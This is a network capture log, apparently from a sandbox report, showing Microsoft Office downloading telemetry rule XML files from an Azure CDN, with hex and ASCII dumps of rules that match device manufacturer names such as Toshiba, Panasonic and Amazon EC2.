2024-11-01 02:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-16849878b78p49s6zkwt11bbkn0000000a0g00000000kk7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-17c5cb586f62bgw58esgbu9hgw000000032g00000000ahck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 7cfdf4f7-101e-008e-53fc-2acf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-15b8d89586fpccrmgpemqdqe58000000059g000000006sw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: daa440d4-101e-0028-4cca-2a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-159b85dff8fprglthC1DFW8zcg000000029g00000000d3cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5cde4d2e-001e-0046-6764-2ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-159b85dff8f2qnk7hC1DFWwa24000000012g000000003smp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-16849878b78fhxrnedubv5byks00000008ug0000000032st x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 74985455-e01e-00aa-1aa3-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024604Z-159b85dff8fwqwmdhC1DFWy0a000000000f0000000000pxv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024605Z-15b8d89586f8l5961kfst8fpb00000000pf00000000013mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: fa89f893-901e-00ac-46b8-2ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024605Z-17c5cb586f62vrfquq10qybcuw00000003f0000000003h70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: cb371d7a-501e-00a0-410e-2b9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024605Z-15b8d89586f5s5nz3ffrgxn5ac0000000b2000000000e3hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024605Z-16849878b78km6fmmkbenhx76n00000009ng00000000sm85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024605Z-16849878b78wc6ln1zsrz6q9w80000000a1000000000k807 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
